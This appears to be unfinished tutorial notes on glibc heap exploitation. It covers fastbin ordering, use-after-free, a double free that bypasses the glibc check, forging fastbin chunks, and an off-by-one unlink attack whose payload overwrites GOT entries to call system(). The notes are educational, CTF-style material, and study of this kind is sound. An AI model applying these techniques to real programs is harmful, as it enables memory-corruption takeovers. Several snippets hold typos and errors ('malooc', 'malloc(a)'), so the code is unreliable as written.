Heap-Exploitation-EXP

Heap-Exploitation

Preview

  • Double Free
    • Making malloc return an already allocated fastchunk
  • Forging chunks
    • Making malloc return a nearly arbitrary pointer
  • Unlink Explit
    • Getting (nearly) arbitrary write access
  • OFF-BY-ONE
    • Depending on the one-byte-overflow
  • House of Spirit
    • Making malloc return a nearly arbitrary pointer
  • House of Lore
    • Making malloc return a nearly arbitrary pointer
  • House of Force
    • Making malloc return a nearly arbitrary pointer
  • House of Einherjar
    • Making malloc return a nearly arbitrary pointer

First-Fit

normal bins

  • Whenever any chunk (not a fastchunk) is free()’d, it ends up in the unsorted bin.
  • Insertion happens at the HEAD of the list.
  • On requesting new chunks (not fast chunk), initially unsorted bins will be looked up as small bins will be empty.
  • If a single chunk is present in the unsorted bin, an exact check is not made and if the chunk’s >= the one requested, it will be splited inti two and the chunk of requested size will be returned.

Example

Step1
1
2
3
char* a = malloc(512);
char* b = malloc(256);
char* c;

Step2
1
free(a);

Step3
1
c = malloc(250);

fastbins

  • This is also true in the case of fast chunks. Instead of freeing into unsorted bin, fast
    chunks end up in fastbins .
  • As mentioned earlier, fastbins maintain a singly linked listand chunks are inserted and deleted from the HEAD end. This reverses the order of chunksobtained.

Example

Step 1
1
2
3
4
char *a = malloc(20); // 0xe4b010
char *b = malloc(20); // 0xe4b030
char *c = malloc(20); // 0xe4b050
char *d = malloc(20); // 0xe4b070

fastbins list

HEAD -> TAIL
Step 2
1
2
3
4
free(a);
free(b);
free(c);
free(d);

fastbins list

HEAD -> d -> c -> b -> a -> TAIL
Step 3
1
2
a = malloc(20); // 0xe4b070
b = malloc(20); // 0xe4b050

fastbins list

HEAD -> b -> a -> TAIL
Step 4
1
2
c = malloc(20); // 0xe4b030
d = malloc(20); // 0xe4b010

fastbins list

HEAD -> TAIL

PS:
Due to that Insertions happen at HEAD and removals happen at HEAD as well
a’ == d
b’ == c
c’ == b
d’ == a

Use after Free Vulnerability

  • malloc might return chunks that were ealier used and free()’d.
  • Once a chunk has been free()’d, it should be assumed that the attacker can now control the data inside the chunk.
  • That particular chunk should never be used again. Instead, always allocate a new chunk.

Example

1
2
3
4
5
6
7
8
9
10
11
12
char *ch = malloc(20);
/*
......
*/
free(ch);
/*
......
*/
if(*ch == a)
{
//do what
}

Double Free

  • Freeing a resource more than can lead to memory leaks. The allocator’s data structures get corrupted and can be exploited by an attacker.
  • In the sample program below, a fastbin chunk will be free()’d twice.
  • To avoid double free or corruption (faststop) security check by glibc, another chunk will be free()’d in between the two free()s.
  • The same chunk will be returned by two different malloc. Both the pointers will point to the same memory address.
  • Attacker can change the chunk by using any pointer of these two.

Example

Step 1

1
2
3
4
//fastbins
a = malloc(10); //0xa04010
b = malloc(10); //0xa04030
c = malloc(10); //0xa04050

Step 2

1
2
3
free(a);
free(b);
free(a); //Double Free Here.

Step 3

1
2
3
d = malloc(10); //0xa04010
e = malloc(10); //0xa04030
f = malooc(10); //0xa04010

Exploit

Arbitrary Write
  1. Change bytes of malloc()d d to change FD to address of faked fastbin.
  2. free() d, so f->FD == &faked fastbin
  3. free() f, so faked fastbin will be in fastbins list of this size.
  4. malloc() for the same type of size fastbin chunk, we can control faked chunk mem.

    Leak Address
  5. free() d, so f->FD will be set by glibc

  6. puts(f), so we get f->FD as a address of a fastbin in HEAP

Forging chchunks

  • After a chunk is freed, it is inserted in a list of bins. However the pointer is still available in the program.
  • Attacker may use the pointer to control the list of bins and insert his own forged chunk into this list.

Example

In the case of fastbin freelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct forged_chunk
{
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bk;
char buf[10];
};
a = malloc(10);//malloc a chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = (char *)&chunk.fd;
//when a chunk is in use, malloc() return address is equal to &chunk.fd after it is free()'d
//fastbin is a single-list and is linked only by chunk.fd
strcpy(data, "attacker's data");
free(a); // HEAD-->a-->TAIL
//when a chunk is free()'d, &chunk.fd is equal to the chunk's malloc() return when it is malloc()'d
//overwrite a.fd by the pointer to our fake chunk
*((unsigned long long *)a) = (unsigned long long)&chunk. //HEAD-->a-->forged_chunk-->forged_chunk.fd(UNDEFINED)-->....
//when **a** is malloc()'d again, the first chunk to malloc() will be a.fd( our fake chunk)
malloc(a);
//next malloc() will return our faked chunk
victim = malloc(10);
//victim's data is the data of our fake chunk (forge_chunk)
puts(victim);
  • The forged chunk’s size parameter was set equal to 0x20 (which is the size of a), so it can be inserted into the same fastbin_list of this size (So that it passes the security check “malloc(): memory corruption (fast)”).
  • malloc() return is equal to chunk.fd when it is free()’d

http://blog.flier.net.cn/2017/10/16/unlink/

OFF-BY-ONE

This kind of EXP makes use of the one-byte-heap-overflow

What is off-by-one heap overflow

  • When (P->SIZE & 0x1) == 1 (P->PREV_INUSE == 1), P->PREV_SIZE may be used by the previous chunk as data.
  • However, if P->PREV_INUSE == 0, P->PREV_SIZE will be used in UNLINK.
  • malloc() a chunk whose size is special.

  • Then we call strcpy(a string which size == 124) (etc. ), we can overflow PREV_INUSE to 0.

Example

Step 1

We get two chunks, and the chunk_2 can be off-by-one attacked.

1
2
get_a_box(2,0x100 - 0x8)
get_a_box(3,0x180)

Step 2

Make a buf consisting of a fake chunk header and some “A” and a lowest byte of next_chunk->SIZE.

1
2
3
4
5
message_small = p64(0) + p64(0x100 - 0x10 + 0x1) + fake_fd + fake_bk
message_small = message_small.ljust(0x100 - 0x10,"A")
message_small += p64(0x100 - 0x10)
message_small += "\x90"
leave_me_a_message(2,message_small)

Step 3

free() chunk_3 to unlink our fake chunk header
1
destory_a_box(3)

Overview

BEFORE FREE

EXP
  • Use the overwrited malloc_return_ptr (which now points to &ptr - 3 now) to overwrite near malloc reutrn ptrs to GOT table.
  • Use the overwrited ptrs to overwrite GOT
  • free(a) —–> system(a) , etc.

to be continue ……